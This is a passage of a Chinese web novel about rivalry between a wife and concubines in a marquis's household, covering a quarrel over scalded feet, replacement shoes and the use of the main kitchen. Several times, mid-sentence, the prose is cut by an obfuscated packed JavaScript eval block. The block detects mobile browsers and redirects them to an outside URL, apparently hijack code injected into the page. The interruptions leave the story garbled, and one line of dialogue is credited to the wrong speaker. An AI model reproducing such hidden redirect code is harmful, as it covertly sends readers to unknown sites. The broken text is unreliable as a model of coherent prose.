“不过一码归一码,你这脚怕是真的被烫到了,进了后宅的女人,身子都不完全是自己的,那是爷的,损害了总归不好。” “姚妹妹自生产过后,性子是躁了些,这都五年了也没见好,多少让你受了委屈。我也不赏那些虚头巴脑的东西给你,你且说说,你有没有什么想要的?” 屋里的人从来没觉得柏兰姵这么会说话过,什么叫生产之后性子就没见好,三年没好便罢了,都五年了,孩子都要开蒙了,还没好,莫不是得了疯病了吧? 还有,罚柏芷兮抄十遍《女诫》,没说什么时候要,这就当做让她练字了,却允许她自己提一个要求,这分明就是给姚初蕊没脸呢。 柏芷兮对柏兰姵这次的反应很满意还有些惊喜,她是没想到,柏兰姵只听了一场,就按照她想的把台阶给她铺下了。 要说她们这两个名义上的姐妹,从今早开始,这关系还真是突飞猛进啊,真的越来越有默契了,配合得越来越好了。 柏芷兮掂着一只脚颤颤巍巍地站起来,扶着秋寒的手对着柏兰姵行了个礼,才道: “夫人,妾没有别的要求。就是这件事儿想起来还是后怕,想请夫人给妾吃一颗定心丸。” 第82章 给双新鞋袜就行 柏兰姵等的就是这句话,她面上淡淡地道:“说吧,今儿这事儿闹的,我这心里也不安宁。要是以后谁来了我这儿都要泼盏茶下去,还要自己说这里面有毒,另一个又疑心了去。” “这传出去我们姐妹间是连一点信任都没有了,凭白丢了爷的脸。姚妹妹,芷妹妹新进门,就让她这么信了,难免要被说咱们以势压人、以长欺少。她既有了这样要求,不妨先听听她怎么说。” 今日的事端是姚初蕊先起的,柏兰姵既然已经这样了,她再不好反对,只能目光带着警告地看着柏芷兮。 柏芷兮委屈地看了姚初蕊一眼,转身就道:“也没什么难的,这有毒没毒、有伤没伤的,横竖妾现在没大事,要是让府医来看,难免兴师动众,回头还要说妾是个祸头子。” “这事儿便这么罢了吧,只是妾的鞋袜都湿了,这么一会儿了捂得难受,还请夫人允许,让妾在这儿把鞋袜换了吧。不过……这鞋袜要姚姐姐赔给妾。” “你让我赔?不过是弄湿了你的鞋袜,你就要我赔?夫人,府里何时有这样的规矩了,你该不会跟你自家姐妹合伙欺负妾吧。你要是不主持这公道,妾就请爷做主。” 姚初蕊哪里肯依,这鞋袜她要是给了,就栽了大面子了。 想当初姚初蕊刚进府的时候,陶丝绣在湖边钓鱼,一杆子甩上来,不小心就甩了她一脚水,借着这个事儿,她可是让陶丝绣赔了她十双鞋袜的。 那件事也是柏兰姵从中调和的,她根本没买柏兰姵的账,还变本加厉地要求陶丝绣十日内就要把鞋袜都送去给她,少一双就得挨板子,弄得柏兰姵跟着没脸。 姚初蕊认定了柏芷兮就是知道了这件事,才要这么帮柏兰姵把面子找回来的。 柏兰姵看向柏芷兮,想从柏芷兮的眼神中得到些许回应,却发现她像是真的不知道那件事,心里便更加高兴了: “姚妹妹,芷妹妹没做错任何事就遭了你这番责难,我看不如就依了她吧。一双鞋袜而已,玉棋,姚妹妹和芷妹妹的脚是不是差不多大?” 每个季节府里公中都给各人做衣裳、做鞋,每一房的尺寸都是报到主母身边的人这儿的,一问便知。 玉棋不想让姚初蕊狡辩没有现成的,还煞有介事地把计数的册子找了出来,认真地道: “姚小娘的脚只比芷小娘的大了一点,不过没事,鞋只是加一双鞋垫的事儿,袜子大一点也没关系。” 柏兰姵便笑了,没等姚初蕊再开口,几句话就压了上去:“一双鞋袜,全当是送给芷妹妹的见面礼了。我记得之前你虽然赏过她,可那是爷开的口,是她给士明木偶图纸的回礼。” “你一个做姐姐的,位分又比她高,送她两件东西也是应该的。你就捡你没上过脚的送她便是了,说出去,这也是姐妹间的情分。” 禹朝女子间有送小衣、鞋袜以示关系亲近的习俗,让姚初蕊送一双鞋袜出去,至少明面上看算不上为难她。 柏芷兮顺势就道:“姚姐姐动不动就要请爷来做主,爷刚当上市令,正是忙碌的时候,这府里也还有许多事要倚仗他,这点小事还是不要麻烦爷了吧。” “妾可以当着夫人的面保证,要是姚姐姐肯赏我一双鞋袜换上,这件事就算是当面问妾,妾都绝不会说姚姐姐一个不好,就是让妾闭口不言也行。” “ 姚姐姐,你看这样可好?咱们姐妹一场,就当结了个善缘吧。妾也算是知道姐姐的脾性了,以后再是不敢惹着姐姐的。” 不告诉姜奕辰?既然都在柏兰姵面前说,晾她也不敢到姜奕辰面前告状。 姚初蕊想了想,故意让她身边的翠蝶去拿一双新鞋袜过来。 翠蝶天天掐尖儿要强,想着给姜奕辰当通房,从前对着不争不抢的陶丝绣尚且鼻子不是鼻子、眼睛不是眼睛,就别说对说柏芷兮了。 果然,没一会儿,翠蝶就拿了一双姚初蕊最不好看的绣鞋和一双最普通的白布袜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526484|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 鞋袜倒都是新的,没上过脚,只是做好了之后,姚初蕊就没看上,直接扔在那里没穿过,这一看就是前一年的布料做的了。 那袜子倒还好,什么时候都能穿,那绣鞋先不说样子如何了,就是那绣线和布料恐怕都有些朽了,穿不了几回就要掉底的。 柏芷兮丝毫不介意,像是没看出来似的,直接就让秋寒服侍着她换上了。 脱掉原本的鞋袜的时候,秋寒惊呼了一声,柏芷兮的脚背上烫红了好一片,又耽误了这么一会儿,一直被湿了的鞋袜捂着,明日就算不起水泡,怕是也要掉一片皮的。 秋寒想像玉棋要些烫伤膏子,先在这儿抹上,回去她们再重新上一回药,可是这会儿过了要弹压姚初蕊的时候了,玉棋就又变成了一副看不上柏芷兮的样子,眼睛别到一边,就当没看到秋寒的眼色似的。 秋寒这两日对柏芷兮的心态转变了许多,开始觉得跟着柏芷兮也不是什么苦差事了,有这么个主子先不说有没有前途,日子过得倒是实惠的。 柏芷兮没架子,还会弄吃的,大的好处没有,赏钱也不多,可是肚子亏不着,而且柏芷兮是那种自己亏空着过日子,瞧她是柏兰姵给过去的人,宁肯自己手头不宽裕,也会把给她那份银子留给她的人。 秋寒的心就这样一点一点地软了,见玉棋不理她,她压低了声音问柏芷兮:“小娘,要不要问夫人要些药来,回去再上药,怕是……” “不用。” 柏芷兮轻声说了句,笑着朝她摇了下头,也不管烫成什么样了,自己就把那新鞋袜给穿上了。 这新鞋袜是拿一只木匣子装来的,想必是玉蝶不想让姚初蕊难堪,特意没用托盘,省得一路上被人看见了。 这便正好了,柏芷兮自己将换下来的湿鞋袜放了进去,然后将盖子一盖,往旁边的桌上一撂,竟是没有让秋寒带走的意思。 “这鞋袜便留在夫人这儿吧,全当做个见证。” 第83章 姐妹连环套 柏芷兮笑了笑,示意秋寒过来扶她:“这东西是冷是热、有毒没毒,都放在里面了,今日就此揭过,就当是盖盖儿定论了。” “由着夫人处置吧,左右妾是不要了的,之后夫人劳烦哪位屋里的姐姐、妹妹扔了便是。妾这脚回去还得上药,估么着还得养两天,这两日就不能服侍爷了。” 她扶着秋寒的胳膊就要走,像是又想起了似的忽然停了下来,偏着头对姚初蕊道, “姚姐姐放心,妾这副样子,想必爷这几日都不会去芷春居了,妾没地方说嘴去。就算爷来了,妾也是绝口不言的,谁让妾得了姐姐的鞋袜呢。爷要是知道了,也得说妾跟姚姐姐都要斤斤计较不是?” “好了,千错万错都是妾的错,刚刚妾也是一时冲动才跟姐姐犟了几句,现在想想着实不该。妾这就告退了,回去之后定当好生反省。” 柏芷兮又向柏兰姵行礼告退,再三保证回去之后她一定好好地抄《女诫》,反省自己的过失,这才扶着秋寒,一瘸一拐地走了。 “夫人,芷小娘她……她太放肆了,她分明就是……” 姚初蕊气得不知道该怎么说,她嫁进定安侯府之后,还没遇到过如此没脸没皮地妾室,就是她表哥世子姜奕德从外面纳回来的妾也没有这般放肆的。 那些个出身不行的进了府,哪个不是战战兢兢地夹着尾巴做人?怎么会有如此张狂的人。 而且那些个妾室,除了个别的贱妾,其他的也都是良户人家的,哪个出身都比柏芷兮好,哪个都不如她嚣张。 自己出身不行,走了大运了能进这侯府为妾,将来有幸生下的孩子也能是这侯府的主子了,当娘的也得为孩子积福,缩着些,生怕自己犯了错,留了话柄了,哪里像她? 可是姚初蕊又不能明着骂柏芷兮,事儿是她自己挑的头,这中间柏芷兮是胡搅蛮缠过,可是以柏芷兮的出身、教养,不胡搅蛮缠才不正常吧?更何况要论用这招数谁先谁后,分明就是姚初蕊从前先用的。 柏芷兮的脚烫伤了,刚才在屋里的人全都看到了,人家没要赔你赔汤药银子,没不依不饶地告到姜奕辰那里,已经很给面子了。 赔一双绣鞋、一双袜子做补偿,这更是柏兰姵做主,姚初蕊答应的,行事也附和习俗,不算过分。 人家换上了干净的鞋袜,把湿了的留下了,也没叫她姚初蕊带回去洗干净了熨烫再给送回去,只叫柏兰姵屋里的丫头之后扔出去了事,这更是挑不出刺来。 总之就是柏芷兮说的、做的,在大面儿上都过得去,过不去的那是小节。 要说这些小节处的失礼也要教训的话,柏兰姵已经让她抄《女诫》去了,绝对够得上相应的惩罚了。 而姚初蕊,先不说夫人罚过了,她便不能罚了,就算还能罚,用柏兰姵的话说,都是姐妹,她姚初蕊比人家年长、先进门,是不是该让着些呢? 姚初蕊气得差点儿没当众仰倒,以前的柏兰姵就像一尊菩萨像,端着正室的架子,坐在那儿不喜不怒,也不能把她怎么样。 现在来了个柏芷兮,前头蹦跶的事儿都她做了,柏兰姵继续坐在那儿主持公道,这姐妹俩刚好一个唱红脸、一个唱白脸地做个套儿给她钻。 这样下去,还得了! 姚初蕊头一次想要自己多个帮手,好在气愤之余她终于想起了自己这次来请安要办的正事儿,尽管她此刻气都要气饱,也必须提起一个地方: “夫人,这件事先放放,妾身要说的是芷小娘在大厨房要了一间房的事,这事儿你可不能不管,万万不能由着她坏了规矩。” 柏兰姵这回眼皮都没抬一下:“哦?她坏了什么规矩了?按姚妹妹的意思,该怎么管?” 姚初蕊总算找到机会了,柏芷兮做的事处处不合规矩,到处都能让她找到挑理的地方: “夫人想想,她这么做是为了什么?要说她自己嘴馋,府里的大厨房的饭食已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531606|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经够不错的了,她一个妾室,能有什么意见,又该有什么意见?就算吃的喝的不顺口了,也该依了规矩,自己贴钱,让大厨房的人去做。” “她自己混在大厨房里,跟那些厨子、厨工为伍,这里面可是有外男的,瓜田李下,万一闹出什么事儿来,咱们四房的脸面还往哪儿搁?” “还有,她为什么这么做?不就是想引起爷的注意么?爷不好口腹之欲,吃食上一向是大厨房做什么,他就吃什么,从不在寻访吃食花费精力。她这一折腾倒好,现在爷不好这口还好,万一把爷给引歪了,将来弄得爷……” “这比喻不恰当,可妾身觉着也差不多了,就直说了,她万一让爷玩物丧志了,耽误了爷的大事,那可如何是好。要妾说,就应该不再叫她去大厨房了,省得丢人现眼,再将她抓回来,狠狠地打一顿板子才好。” 姚初蕊恨不得现在就看到柏芷兮挨打的样子,其实侯府这几房的后宅都算平静,这些个妻妾都没有太过分的,彼此间都留着颜面,相处得也都还不错,不比对面的长远侯府动不动就把没生养过的妾室拎出去一顿板子伺候。 从前姚初蕊也没这么想过,因为西院儿的女人少,除了柏兰姵,总共也就是她自己和陶丝绣两个。 在最初她把陶丝绣彻底压服之后,陶丝绣也表示她只想管着绣庄、绣铺的决心,还明着说了,要是有了子嗣,她便不方便再经常出入内宅了。 她陶丝绣是断断不会有子嗣的,她更不会争宠,就连这通房的名分也不过是个身份,就好比姑娘家不好出面打理生意,嫁了人的媳妇子却是可以的一样。 姚初蕊要再想压服谁,也没了对手,就是想压服柏兰姵,面上也得恭恭敬敬的,她总不能去打柏兰姵吧。 因此姚初蕊那颗想要耍威风的心一直没有地方安放,她看到世子夫人葛氏也就是她的表嫂,责打东院儿那些妾室的时候,简直恨不得冲上去把葛氏推开,自己替了她去。 第84章 她也是会阴阳的 姚初蕊不是那等凶狠、见着人就要打的,她就是没当上正室夫人,又想找机会去摆正室的款儿而已。 柏兰姵最烦姚初蕊这副随时随地都打算越俎代庖的样子,她都能想到,要是她哪天身子撑不住了,西院儿落到姚初蕊手里,会是怎样的情景。 原本一向好脾气的柏兰姵难得拧起一股劲儿非要把她撅回去不可: “爷是场面上的人,外面想从他身上讨好处的人多了去了,哪一次出去应酬不是吃好的、喝好的,天南地北好吃好喝的哪次没见识过?难道偏偏在自个儿府里吃几口新鲜的,就要移了性情了?” “更何况芷妹妹何时给爷做吃食了,爷昨儿个还跟康安抱怨呢,说是芷妹妹做的东西他一口都没着,说是芷妹妹也太守规矩了些。” “要我说,爷这性子就是太板正了些,每天这里里外外的都离不了他,忙来忙去的都是为了这一府的人,他自己要是连点好吃的、好喝的都不享用,这日子过得也未免太无意趣了,日子久了,年纪再大些,身子也吃不消啊。” 一番话说下来,她还意有所指地捎带了两句,“说起来也觉得不值,每日里这金山银海的挣着,落到他和咱们头上的又有多少?这府里吃用上最俭省的,只怕就是咱们爷了,你要规劝不如去劝劝你的表兄……” “啊,我没别的意思,妹妹别误会了,所谓疏不间亲,妹妹真担心吃几口新鲜的也要移了性情,还是多担心一下世子爷吧。” 要是跟别人比,侯府是钟鸣鼎食之家,每个主子的日子都过得富贵,都是在福窝里的,可要是跟府里的比。 这里面最能享受的就是世子姜奕德了,他不光有一院子的姬妾要养,他的吃穿用度、古玩珍藏,哪样不是富贵至今,就是跟国公府的世子比也是不差的,恐怕也就是比那些宫里的和王府里的差些了。 侯爷姜定武好吃不说,他从前是正经上过沙场、打过仗的,人到老了,朝廷用不上他了,他便喜好那些神兵利器,府里隔几年便会添一把名剑,这一把剑就不知抵了几年的吃用。 三爷姜奕文虽说是庶出,清心寡欲的一直没成亲,可平日里专爱跟那些道士处在一起,摆一个道场法事,在外面摆上几桌素斋请上几个好友,再请位高人讲讲道法、丹术,这可不比穿金戴银的花费小。 五爷姜奕安,是府里这一代唯一一个专门学武的,七岁就送去了宗门学艺,一年里也就是年节里回来住上半个多月,看起来是花费最小的,可是每年给宗门的孝敬不能少。况且他现在开始下山历练了,别的花费倒还好说,可他扶危救困外加毁东西,每年赔进去的也不少。 就是二姑娘姜采鸯,别的花费尚可,只她弹得那一手好琴,请了那退了宫的乐师做教**,这一年下来的束脩就花费不菲。 这些个人里反倒是姜奕辰没有特别的开销,富贵也只是中规中矩的那种,后院的女人也不多,柏兰姵和姚初蕊又都是嫁妆上有贴补的,算下来姜奕辰和西院儿的开销最少。 柏兰姵平时不提这个话,就像她说的,姜奕辰替侯府劳心劳力不假,给人做嫁衣裳也不假,可是他也正因为有了侯府这个依靠,才能更好的积攒自己的实力和家底,将来才能走得更远、站得更高,她现在也还是这样想的。 可今天柏芷兮提到了姚初蕊和姜奕德更深一层的亲戚关系之后,柏兰姵忽然就想要考验一下姚初蕊了,她想看看在利益的选择面前,姚初蕊究竟会向着自己的夫主还是自己的表兄。 要是一般的表兄妹和兄长、弟媳妇的关系也倒罢了,人家多一层亲戚关系,只是礼仪上尊重些、有事儿了照应着些罢了,姚初蕊可是仗着她是原配夫人姚氏的外甥女这层关系恨不得在府里横着走的。 先夫人是早就不在了,可姜奕德还在,还有世子夫人葛氏,平日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531607|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里也没少给姚初蕊撑腰,耳提面命地让柏兰姵这个正经弟媳妇多让着他们这个表妹一些,弄得柏兰姵没少受闲气。 柏芷兮这么一提,柏兰姵可不止想看看关键时候姚初蕊到底向着哪头,她还想看看姚初蕊得了东院那边那么多支持之后,要是不回馈那边会怎样。 姜奕德只是姚初蕊的表兄,葛氏只是姚初蕊的表嫂,论起情分和亲缘,那些好处和支持绝没有到了能白给她的地步。 要是姚初蕊顾着姜奕辰这边,必定要让姜奕德和葛氏失望,失了他们的支持。要是姚初蕊顾着他们那边,她倒要让姜奕辰好好看姚初蕊是怎样胳膊肘往外拐、把好东西往别人家里划拉的。 就算姚初蕊本来没有这样的意思,柏兰姵都要想法子把她引到这条路上去。 这不能怪柏兰姵,这实在是因为今天的柏芷兮让她看到了希望,从前她没孩子,指望还不知道落在何处。 现在有了柏芷兮了,用不了几年,她也会有孩子,她不为别人争,也得为了孩子争,她可不能让姚初蕊的孩子将来欺负到她孩子头上去。 柏兰姵说是无意的,可她说完就那样看着姚初蕊,一副非要她说出个所以然的样子来。 姚初蕊没想到这事儿都能说到姜奕德身上,她顿时便有些尴尬,说话都有些支吾了: “表兄……啊,不,是世子爷那儿的饮食都是有定量的,就算是奢靡了些,也是身份使然。妾只是觉得爷从前不把心思放在这些琐事上,突然移了心性会不好。” “既然夫人都这么说了,芷小娘也没给爷做过吃食,这便罢了吧。不过她出入大厨房总不是个事儿,那儿进进出出的,男男女女都有,万一出点儿什么事儿呢?” “而且她还给侯夫人做吃食,虽说也不是亲手做的,这里面万一出了什么岔子,把侯夫人给吃坏了,怪罪下来,还不是得连累了夫人你啊。” 第85章 非议婆母 就算柏芷兮够谨慎,没有亲手做饭菜给徐氏吃,那万一是食方本身有问题,或是做出来的菜色与徐氏日常保养的汤药有冲撞呢?这都是可能的。 不得不说,姚初蕊的担心是有道理的,可她这次低估了柏芷兮的谨慎程度。 姚初蕊冷笑了一下:“姚妹妹,我该说你这是巴不得芷妹妹出事儿呢,还是该提醒你不要把别人都当成蠢材呢?论起庖厨,芷妹妹家里从前就是做这个的,将她收入府中之前,家父家母就打听过,她家里是五代的庖厨。” “三代的时候还与一个御厨沾亲,她小时候最早学的就是这些,还不比你清楚?放心吧,夏姑姑也是个有分寸的,拿到食方之后都仔细斟酌过,还请府医看过的。” “你还别说,侯夫人对咱们这些小辈像来慈和,难得提过什么要求,这一回芷妹妹倒是误打误撞地入了侯夫人的眼了,也算是给咱们姐妹争脸了。” “可是……就算如此,她这不是上杆子地往侯夫人那儿钻,要争宠献媚么?就像姐姐说的,侯夫人事忙,半个月、一个月的才让夫人们去请安。” 姚初蕊想着柏兰姵一向重视徐氏这个婆母,却屡屡没有找到投其所好的法子,便要揪着这一点给她上眼药, “要是让芷小娘跑到前面去了,侯夫人会不会忘了谁才是她的儿媳妇了?别怪做妹妹的没提醒你,侯夫人出身皇商世家,家里在规矩上难免比咱们这样的人家松散些。” “虽说芷小娘就是一个妾室,可情分这种东西是很难说的,万一将来侯夫人在心里也把她当作儿媳妇对待了呢?” 商贾之家的规矩与官宦之家不同,在妻妾这事儿上没那么重视名分,就好比商贾之家多有娶平妻者,平妻不放在家里,通常是养在常去经商、贩货的地方的,一南一北,一东一西,各成一房。 从礼法上来说,除了兼祧两房的平妻,禹朝律法是不承认平妻的,可在民间看的更多的是实际的待遇,实际上计较不了那么多。 而且这时候经商赚得多的都要去很远的地方贩货,若是在那边置下妻房了,这妻房很可能终其一生都不会跟原配正妻碰面,要是没犯什么大事儿,朝廷也犯不着派人跋山涉水地去追究这种事。 于是,在民间商贾之家之间就承认了平妻这档子事儿,要说这平妻其实跟侯门里的贵妾差不多,好些也是男人为了在当地做买卖方便,娶的当地商贾之间的闺女,是能给男人和他家里带来好处的。 有这样的人在,能给家里带来好处,就是家里的孩子将来也是能沾上光的,又是个一辈子都可能见不上一面的,别说是家里的婆母了,就是原配正室好些都对她们不错。 平日里虽见不上面,等两边往来也并不算少,捎带着礼物、年货,甚至是生意上的消息,让两边的人都跟着挣一笔,这样的儿媳妇,做婆母的能不喜欢了? 况且说起徐氏,她的外祖母就是这样一位平妻,她心里对妻妾当真分得那般清楚么?那么她会怎么看待一个得用的妾室呢? 柏兰姵的性子并不讨喜,柏芷兮的性子姚初蕊也不喜欢,但她不得不承认柏芷兮是有些小手段的。 徐氏现在年纪也渐渐大了,越来越需要人陪着、服侍着了,柏芷兮这样的人一旦发现了机会,定是愿意下功夫还不择手段地伏低做小的,这些她们这样的人可做不到,万一柏芷兮就得了徐氏的青眼了呢? 姚初蕊不信柏兰姵一点也不担心,柏芷兮名分上越不过柏兰姵去,可在徐氏心里的分量却未必不能。 人老了,别说是儿子、儿媳了,很多时候她对自己身边服侍的人才是最亲的,谁知道徐氏会对谁好呢。 柏兰姵冷冷地看了姚初蕊一眼,别说她没觉得有这样的风险,就算她也是这样认为的,在姚初蕊面前,她也得跟柏芷兮站在一起。 柏兰姵听了,直接就把手上的茶盏撩了,瓷器碰到桌上哐当一声响,茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这么些年了,徐氏不仅为姜定武生了两子一女,还善待原配夫人所出的世子和妾室所生的庶子,大事上没有半点可指摘的。 姜定武乐呵还来不及呢,谁还去管徐氏的外祖母是什么出身,徐氏究竟是怎么看待男子的妻妾的? 第86章 等着当通房 柏芷兮也是一样的,要是她的出身完全不能为侯府所容,她根本就进不了门,不会说等到进了门了再来说她不配。 同样的道理,姚初蕊是以妾室的身份进的门,这件事姚家、定安侯府都认可,姜定武、徐氏、姜奕德、葛氏没有一个不同意的,她做妾是大家都认可了的。 姚初蕊再认为自己可以做正室的位子,再为自己叫屈也没用,她自己娘家都决定牺牲她了,还能指望别人为她出头不成?何况这么多年过去了,除了一点小恩小惠,也没见那些人真为她出头。 柏兰姵这番话就是在敲打姚初蕊,在这侯府后宅里,最该认清自己身份的人就是她姚初蕊! 而柏兰姵也一定不会被柏芷兮替代,同样是因为进门时名分已定,侯府做不出以妾为妻这般有失脸面的事,按照禹朝的规矩,除非正室过世时,主君已经年过五十了,是不会轻易把妾室扶正顶上的。 也就是说,即便柏兰姵这就没了,而柏芷兮还生了个儿子,姜奕辰除非年纪大了,手头的事儿都交给儿孙了,不然也不会将柏芷兮和这后院儿里的任何一个妾室扶正,他但凡还想在场面上走动,他就重新另娶续弦。 更何况柏家就像徐家一样,是真能帮上侯府和姜奕辰的,柏芷兮也好,姚初蕊也罢,谁能做得到? 高门娶正妻要的是结两姓之好,娶个正室回来不是摆着看的,那得有用才行。既然后院里的这几个人都没有可能,柏兰姵身为正室才犯不着生这闲气呢。 姚初蕊要想在这事儿挑唆,柏兰姵才不上她的当,根本不可能发生的事,她何苦去发疯折腾? 她把自己弄得面目可憎,让姜奕辰厌了她,见嫌于夫君,让柏芷兮怕了她,让她少了一个助力,再让陶丝绣和之后来的妾室、通房疑了她,处处提防她,甚至她稍有动作,就恨不得对她先下手为强……她又不是脑子有病。 姚初蕊见挑唆不成,更是恨极了柏芷兮,直接就把姜奕辰搬了出来: “可是……夫人,爷都说了,不许她设小厨房。结果她这小厨房是没设在西院儿里,却弄到大厨房现眼去了,她这是阳奉阴违。” “爷忙着外面的事,又碍着她是夫人的妹子,不好说什么,夫人你也该管管才是。不然今天她这样做了,明儿妾又那样做了,这西院儿还不乱了套。” 柏兰姵冷笑了一下:“爷不许她设小厨房,这是小厨房么?她不过是在大厨房借了个地儿,爷也知道了,爷再忙,回这点儿事儿的工夫还是有的。” “况且借大厨房的地儿,侯夫人准了,大厨房的管事儿夏姑姑也准了,世子夫人也没说什么,你在这儿瞎操什么心?” “以前问你要不要在你那一心居里设一间小厨房,就算为着士明能吃些小灶都好,你自己不喜欢回了爷说不要。这儿没人揪着你说那些反悔的话,你要现在想要了,去问爷要了就是了。” “你要是也有本事,也大可以去大厨房弄一间用着,你也让那些个人都答应了就是了。不过可得先说好了,芷妹妹是自己动手做吃食,大厨房那边才允了的,你要是想支使个厨子过去,就大可不必了,那跟在大厨房里指个人做,没什么两样。” 大厨房那边不进外人,不可能允许姚初蕊从外面请一个厨子塞进去,要是她只是时不时地让自己的侍女过去熬点汤水什么的,那原本就有临时给她们用的地方,算不上借地方。 要是姚初蕊就是为了跟柏芷兮斗这口气,占了地方去,就只是让大厨房的厨子过去给做几个菜,那跟平时添些银子加菜没什么区别,那就更没必要了,夏姑姑也不会准。 “自己做就自己做,妾还能比她差了……不就是会背几个食方么?她又做过几顿饭了,夫人既然这么说了,就等着瞧,妾也去大厨房争一间来给你看!” 姚初蕊就差跳着脚说了,她今日丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没错,在柏兰姵看来,玉棋要是跟柏芷兮卯上了,赢的一定是柏芷兮那只小狐狸。她跟玉棋毕竟主仆一场,还是应当让她有个好归宿的。 柏兰姵听完,给玉棋留着面子,也不点破:“她的确不是亲妹子,可到底姓了柏。要说宫里送去和亲的公主还有从宫女里挑出来册封的呢,我这小庙门,哪里就要那般挑挑拣拣的了。” “况且我家里的妹子也是来不了的,早就定了亲的,聘了给户部侍郎家的三公子为正妻。我想要个亲妹子来帮衬我,也不能够。” 柏兰姵这妹妹是庶出,生她的姨娘性子像鹌鹑一样,这妹妹便放在正室屋里养了,从小跟柏兰姵一起长大,两人感情甚好。 而且明明有着更好的亲事,还能做正室,哪里就能来这儿陪着柏兰姵了?横竖都要从外面聘人进来,这种拿亲妹子做比的话,说了也是白说。 玉棋自讨没趣,又不能明着说与其用柏芷兮,还不如用她,她的声音都闷了起来: “可是……她这般不守规矩,姚小娘也没说错,爷都不许她设小厨房了,她还折腾到大厨房去了,外人不知道,还以为是夫人您不许呢。” “白白让人看了笑话,万一爷知道了,恼了她了,说不定还得怪到夫人头上来,说您没管好自家的姑娘。奴婢瞧着她就不是个稳重的,也未必就能为夫人生下孩儿。” 柏兰姵在心里叹了口气,可是念在多年的情分上,还是得多开导开导这丫头,免得她入了迷瘴: “能不能生下孩儿,这谁知道?府里这么多人,也不过是姚小娘生了个士明,还是个看不见的。这能不能生的,只要身子没问题,其余的还得看命数。” “你换一个人来,就一定能生了?还是得先讨了爷的喜欢,把人先长长久久地留下来,有了宠,留宿的时候多了,才有更大的可能生下孩子。” “你说爷万一恼了她了,可你看爷恼了么?这不是连着两晚都去她那儿了么?这小丫头有意思,嬉笑怒骂间就把事儿给办了,到头来爷还得觉着,这小丫头明明净干些让他着恼的事儿,他怎么就上杆子地也要去呢。” 她笑了一下,意有所指地看了玉棋一眼,“你呀,别看跟了我这么久,也见过爷不少时候了,是一点儿都不了解他的性子。你仔细想想,他那日不许芷小娘设小厨房,真就是不喜或是恼了么?” 傻丫头,人家乐呵着呢,就是瞧着小狐狸新鲜,想逗个乐子,人家玩儿的这叫意趣。 姜奕辰这人你说他有规矩,他的确讲规矩,你要说他不讲规矩,他也是最不讲规矩的一个。 这些个侯门公子都是避着铜臭营生的,纵使管着庶务、做着生意,面上也得装成个吟风弄月的文士,生意上的事儿都是交给底下人打理的。 姜奕辰却偏偏反其道而行之,他不仅光明正大地管着庶务、做着生意,丝毫不避讳跟母家徐家的关系,还偏偏要从这条路上向上,又给自己谋了个沾满铜臭之气的市令小官来做,可见规矩、礼教很多时候对他来说是没那么重要的。 他是不喜欢自家院子里弄得烟熏火燎的,一到饭点儿上就一股股的饭菜味道,可白日里几乎不在府里,便也不拦着妻妾有小厨房。 柏芷兮进门前姜奕辰的确犹豫过,可是经过徐氏劝说之后,柏芷兮良妾的名分还是他定的,名分都给了,给的还不低,没让她从通房往上熬,难道还能吝惜一间小厨房了? 何况芷春居那个位置,正好在下风口,又离整个侯府的外院墙近,风一吹,味道就散出去了,根本碍不着什么。 柏兰姵也是那日之后琢磨了许久才琢磨出来的,姜奕辰哪里是对柏芷兮没兴趣,那是因为柏芷兮出身刮起的那阵风有点大,他借机抻着呢。 这几日府里已经不议论柏芷兮出身了,转而都去议论她的好厨艺和没有架子了,他自然就去了。 玉棋这丫头一直想着姜奕辰,可是她压根儿就不了解姜奕辰。 要论忠心,自然是多年相伴的玉棋更佳,可这世上的事要想办成,很多不是只有忠心就够了的。在姜奕辰身上,玉棋连他的脉都号不准,还能做什么? 见玉棋没说话,柏兰姵状似无意地道,“她还想挑唆我,让我以为芷小娘能越过我去,这种没有可能的事,根本无需花心力去担心。” 